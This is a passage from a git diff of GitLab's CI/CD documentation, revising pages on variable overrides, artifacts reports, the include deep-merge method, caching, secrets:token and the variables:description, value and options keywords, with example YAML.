keyword](../pipelines/downstream_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline) - or [by using variable inheritance](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job). - -The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence). - -NOTE: -You should avoid overriding [predefined variables](predefined_variables.md), -as it can cause the pipeline to behave unexpectedly. - -### Override a variable when running a pipeline manually +- [Run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually) in the UI. +- Create a pipeline by using [the `pipelines` API endpoint](../../api/pipelines.md#create-a-new-pipeline). +- Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). +- Trigger a pipeline by using [the `triggers` API endpoint](../triggers/index.md#pass-cicd-variables-in-the-api-call). +- Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/downstream_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline) + or [by using `dotenv` variables](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job). -You can override the value of a CI/CD variable when you -[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). - -1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**. -1. Choose the branch you want to run the pipeline for. -1. Input the variable and its value in the UI. +You should avoid overriding [predefined variables](predefined_variables.md), as it +can cause the pipeline to behave unexpectedly. ### Restrict who can override variables > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8. -You can grant permission to override variables to users with the Maintainer role only. When other users try to run a pipeline -with overridden variables, they receive the `Insufficient permissions to set pipeline variables` -error message. +You can limit the ability to override variables to only users with the Maintainer role. +When other users try to run a pipeline with overridden variables, they receive the +`Insufficient permissions to set pipeline variables` error message. + +Enable this feature by using [the projects API](../../api/projects.md#edit-project) +to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file), use this setting for control over the environment the pipeline runs in. -You can enable this feature by using [the projects API](../../api/projects.md#edit-project) -to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. - ## Related topics - You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables @@ -683,13 +728,12 @@ in Bash or `dir env:` in PowerShell. This exposes the values of **all** availabl variables, which can be a [security risk](#cicd-variable-security). [Masked variables](#mask-a-cicd-variable) display as `[masked]`. -For example: +For example, with Bash: ```yaml job_name: script: - export - # - 'dir env:' # Use this for PowerShell ``` Example job log output (truncated): @@ -733,7 +777,7 @@ Before you enable debug logging, make sure only team members can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) with debug output before you make logs public again. -To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: +To enable debug logging, set the `CI_DEBUG_TRACE` variable to `true`: ```yaml job_name: diff --git a/doc/ci/yaml/artifacts_reports.md b/doc/ci/yaml/artifacts_reports.md index 38b0ab1f0a3..151a043da5e 100644 --- a/doc/ci/yaml/artifacts_reports.md +++ b/doc/ci/yaml/artifacts_reports.md @@ -15,9 +15,9 @@ Use [`artifacts:reports`](index.md#artifactsreports) to: - Pipeline views. - [Security dashboards](../../user/application_security/security_dashboard/index.md). -The test reports are collected regardless of the job results (success or failure). -You can use [`artifacts:expire_in`](index.md#artifactsexpire_in) to set up an expiration -date for their artifacts. +Artifacts created for `artifacts: reports` are always uploaded, regardless of the job results (success or failure). +You can use [`artifacts:expire_in`](index.md#artifactsexpire_in) to set an expiration +date for the artifacts. Some `artifacts:reports` types can be generated by multiple jobs in the same pipeline, and used by merge request or pipeline features from each job. @@ -67,19 +67,6 @@ GitLab can display the results of one report in the merge request GitLab cannot display the combined results of multiple `browser_performance` reports. -## `artifacts:reports:cluster_image_scanning` **(ULTIMATE)** - -> - Introduced in GitLab 14.1. -> - Requires GitLab Runner 14.1 and above. - -The `cluster_image_scanning` report collects `CLUSTER_IMAGE_SCANNING` vulnerabilities. The collected -`CLUSTER_IMAGE_SCANNING` report uploads to GitLab as an artifact. - -GitLab can display the results of one or more reports in: - -- The [security dashboard](../../user/application_security/security_dashboard/index.md). -- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md). - ## `artifacts:reports:coverage_report` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/344533) in GitLab 14.10. @@ -266,7 +253,7 @@ Compliance report uploads to GitLab as an artifact. GitLab can display the results of one or more reports in: - The merge request [license compliance widget](../../user/compliance/license_compliance/index.md). -- The [license list](../../user/compliance/license_compliance/index.md#license-list). +- The [license list](../../user/compliance/license_list.md). ## `artifacts:reports:load_performance` **(PREMIUM)** diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index b1f43a4679b..bf0b7444e78 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -157,6 +157,87 @@ and the `environment:url` of the `production` job defined in the `.gitlab-ci.yml override the values defined in the `autodevops-template.yml` file. The other keywords do not change. This method is called *merging*. +### Merge method for `include` + +For a file containing `include` directives, the included files are read in order (possibly +recursively), and the configuration in these files is likewise merged in order. If the parameters overlap, the last included file takes precedence. Finally, the directives in the +file itself are merged with the configuration from the included files. + +This merge method is a _deep merge_, where hash maps are merged at any depth in the +configuration. To merge hash map A (containing the configuration merged so far) and B (the next piece +of configuration), the keys and values are processed as follows: + +- When the key only exists in A, use the key and value from A. +- When the key exists in both A and B, and their values are both hash maps, merge those hash maps. +- When the key exists in both A and B, and one of the values is not a hash map, use the value from B. +- Otherwise, use the key and value from B. + +For example: + +We have a configuration consisting of two files. + +- The `.gitlab-ci.yml` file: + + ```yaml + include: 'common.yml' + + variables: + POSTGRES_USER: username + + test: + rules: + - if: $CI_PIPELINE_SOURCE == "merge_request_event" + when: manual + artifacts: + reports: + junit: rspec.xml + ``` + +- The `common.yml` file: + + ```yaml + variables: + POSTGRES_USER: common_username + POSTGRES_PASSWORD: testing_password + + test: + rules: + - when: never + script: + - echo LOGIN=${POSTGRES_USER} > deploy.env + - rake spec + artifacts: + reports: + dotenv: deploy.env + ``` + +The merged result: + +```yaml +variables: + POSTGRES_USER: username + POSTGRES_PASSWORD: testing_password + +test: + rules: + - if: $CI_PIPELINE_SOURCE == "merge_request_event" + when: manual + script: + - echo LOGIN=${POSTGRES_USER} > deploy.env + - rake spec + artifacts: + reports: + junit: rspec.xml + dotenv: deploy.env +``` + +In this example: + +- Variables are only evaluated after all the files are merged together. A job in an included file + might end up using a variable value defined in a different file. +- `rules` is an array so it cannot be merged. The top-level file takes precedence. +- `artifacts` is a hash map so it can be deep merged. + ## Override included configuration arrays You can use merging to extend and override configuration in an included template, but @@ -304,7 +385,7 @@ In GitLab 14.5 and later, you can also use: - [Trigger variables](../triggers/index.md#pass-cicd-variables-in-the-api-call). - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). -- [Manual pipeline run variables](../variables/index.md#override-a-variable-when-running-a-pipeline-manually). +- [Manual pipeline run variables](../pipelines/index.md#run-a-pipeline-manually). - Pipeline [predefined variables](../variables/predefined_variables.md). YAML files are parsed before the pipeline is created, so the following pipeline predefined variables diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md index 3796eed54e1..d5c0fe1d41d 100644 --- a/doc/ci/yaml/index.md +++ b/doc/ci/yaml/index.md @@ -374,7 +374,7 @@ start. Jobs in the current stage are not stopped and continue to run. - If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage. - If a stage is defined but no jobs use it, the stage is not visible in the pipeline, - which can help [compliance pipeline configurations](../../user/group/compliance_frameworks.md#configure-a-compliance-pipeline): + which can help [compliance pipeline configurations](../../user/group/compliance_frameworks.md#compliance-pipelines): - Stages can be defined in the compliance configuration but remain hidden if not used. - The defined stages become visible when developers use them in job definitions. @@ -1002,9 +1002,9 @@ rspec: - Combining reports in parent pipelines using [artifacts from child pipelines](#needspipelinejob) is not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725). - To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This uploads and stores the artifact twice. -- The test reports are collected regardless of the job results (success or failure). - You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration - date for artifacts reports. +- Artifacts created for `artifacts: reports` are always uploaded, regardless of the job results (success or failure). + You can use [`artifacts:expire_in`](#artifactsexpire_in) to set an expiration + date for the artifacts. #### `artifacts:untracked` @@ -1057,6 +1057,11 @@ job: when: on_failure ``` +**Additional details**: + +- The artifacts created for [`artifacts:reports`](#artifactsreports) are always uploaded, + regardless of the job results (success or failure). `artifacts:when` does not change this behavior. + ### `before_script` Use `before_script` to define an array of commands that should run before each job's @@ -1111,8 +1116,15 @@ Caches are: - Shared between pipelines and jobs. - By default, not shared between [protected](../../user/project/protected_branches.md) and unprotected branches. - Restored before [artifacts](#artifacts). +- Limited to a maximum of four [different caches](../caching/index.md#use-multiple-caches). + +You can [disable caching for specific jobs](../caching/index.md#disable-cache-for-specific-jobs), +for example to override: + +- A default cache defined with [`default`](#default). +- The configuration for a job added with [`include`](#include). -Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md). +For more information about caches, see [Caching in GitLab CI/CD](../caching/index.md). #### `cache:paths` @@ -1354,7 +1366,7 @@ cache keys used by protected branches. - `true` or `false` (default). -**Example of `cache:untracked`**: +**Example of `cache:unprotect`**: ```yaml rspec: @@ -1700,7 +1712,7 @@ Use the `action` keyword to specify how the job interacts with the environment. |:----------|:----------------| | `start` | Default value. Indicates that the job starts the environment. The deployment is created after the job starts. | | `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#access-an-environment-for-preparation-or-verification-purposes). | -| `stop` | Indicates that the job stops a deployment. For more detail, read [Stop an environment](../environments/index.md#stop-an-environment). | +| `stop` | Indicates that the job stops an environment. [Read more about stopping an environment](../environments/index.md#stop-an-environment). | | `verify` | Indicates that the job is only verifying the environment. It does not trigger deployments. [Read more about verifying environments](../environments/index.md#access-an-environment-for-preparation-or-verification-purposes). | | `access` | Indicates that the job is only accessing the environment. It does not trigger deployments. [Read more about accessing environments](../environments/index.md#access-an-environment-for-preparation-or-verification-purposes). | @@ -1780,9 +1792,7 @@ environment, using the `production` **Additional details**: - Kubernetes configuration is not supported for Kubernetes clusters - that are [managed by GitLab](../../user/project/clusters/gitlab_managed_clusters.md). - To follow progress on support for GitLab-managed clusters, see the - [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/38054). + [managed by GitLab](../../user/project/clusters/gitlab_managed_clusters.md). **Related topics**: @@ -3794,6 +3804,43 @@ job: - The `file` keyword is a setting for the CI/CD variable and must be nested under the CI/CD variable name, not in the `vault` section. +#### `secrets:token` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/356986) in GitLab 15.8. + +Use `secrets:token` to explicitly select a token to use when authenticating with Vault by referencing the token's CI/CD variable. + +This keyword has no effect if [**Limit JSON Web Token (JWT) access**](../secrets/id_token_authentication.md#enable-automatic-id-token-authentication) +is disabled. + +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: + +- The name of an ID token + +**Example of `secrets:token`**: + +```yaml +job: + id_tokens: + AWS_TOKEN: + aud: https://aws.example.com + VAULT_TOKEN: + aud: https://vault.example.com + secrets: + DB_PASSWORD: + vault: gitlab/production/db + token: $VAULT_TOKEN +``` + +**Additional details**: + +- When the `token` keyword is not set and **Limit JSON Web Token (JWT) access** enabled, the first ID token + is used to authenticate. +- When **Limit JSON Web Token (JWT) access** is disabled, the `token` keyword is ignored and the `CI_JOB_JWT` + CI/CD variable is used to authenticate. + ### `services` Use `services` to specify any additional Docker images that your scripts require to run successfully. The [`services` image](../services/index.md) is linked @@ -4361,35 +4408,89 @@ deploy_review_job: #### `variables:description` -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/363660) in GitLab 15.5, `variables:value` can contain an array of values. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. -Use the `description` keyword to define a [pipeline-level (global) variable that is prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). - -If used with `value`, the variable value is also prefilled when running a pipeline manually. +Use the `description` keyword to define a description for a pipeline-level (global) variable. +The description displays with [the prefilled variable name when running a pipeline manually](../pipelines/index.md#prefill-variables-in-manual-pipelines). **Keyword type**: Global keyword. You cannot use it for job-level variables. **Possible inputs**: - A string. -- An array of strings. **Example of `variables:description`**: ```yaml variables: + DEPLOY_NOTE: + description: "The deployment note. Explain the reason for this deployment." +``` + +**Additional details**: + +- When used without `value`, the variable exists in pipelines that were not triggered manually, + and the default value is an empty string (`''`). + +#### `variables:value` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. + +Use the `value` keyword to define a pipeline-level (global) variable's value. When used with +[`variables: description`](#variablesdescription), the variable value is [prefilled when running a pipeline manually](../pipelines/index.md#prefill-variables-in-manual-pipelines). + +**Keyword type**: Global keyword. You cannot use it for job-level variables. + +**Possible inputs**: + +- A string. + +**Example of `variables:value`**: + +```yaml +variables: DEPLOY_ENVIRONMENT: - description: "The deployment target. Change this variable to 'canary' or 'production' if needed." value: "staging" + description: "The deployment target. Change this variable to 'canary' or 'production' if needed." ``` **Additional details**: -- A global variable defined with `value` but no `description` behaves the same as - [`variables`](#variables). -- `variables:value` can [contain an array of selectable values](../pipelines/index.md#configure-a-list-of-selectable-values-for-a-prefilled-variable). +- If used without [`variables: description`](#variablesdescription), the behavior is + the same as [`variables`](#variables). + +#### `variables:options` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105502) in GitLab 15.7. + +Use `variables:options` to define an array of values that are [selectable in the UI when running a pipeline manually](../pipelines/index.md#configure-a-list-of-selectable-prefilled-variable-values). + +Must be used with `variables: value`, and the string defined for `value`: + +- Must also be one of the strings in the `options` array. +- Is the default selection. + +If there is no [`description`](#variablesdescription), +this keyword has no effect. + +**Keyword type**: Global keyword. You cannot use it for job-level variables. + +**Possible inputs**: + +- An array of strings. + +**Example of `variables:options`**: + +```yaml +variables: + DEPLOY_ENVIRONMENT: + value: "staging" + options: + - "production" + - "staging" + - "canary" + description: "The deployment target. Set to 'staging' by default." +``` #### `variables:expand` diff --git a/doc/ci/yaml/workflow.md b/doc/ci/yaml/workflow.md index 3d6314c8e03..82144e55216 100644 --- a/doc/ci/yaml/workflow.md +++ b/doc/ci/yaml/workflow.md @@ -29,7 +29,7 @@ See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-claus In the following example: - Pipelines run for all `push` events (changes to branches and new tags). -- Pipelines for push events with `-draft` in the commit message don't run, because +- Pipelines for push events with commit messages that end with `-draft` don't run, because they are set to `when: never`. - Pipelines for schedules or merge requests don't run either, because no rules evaluate to true for them. |
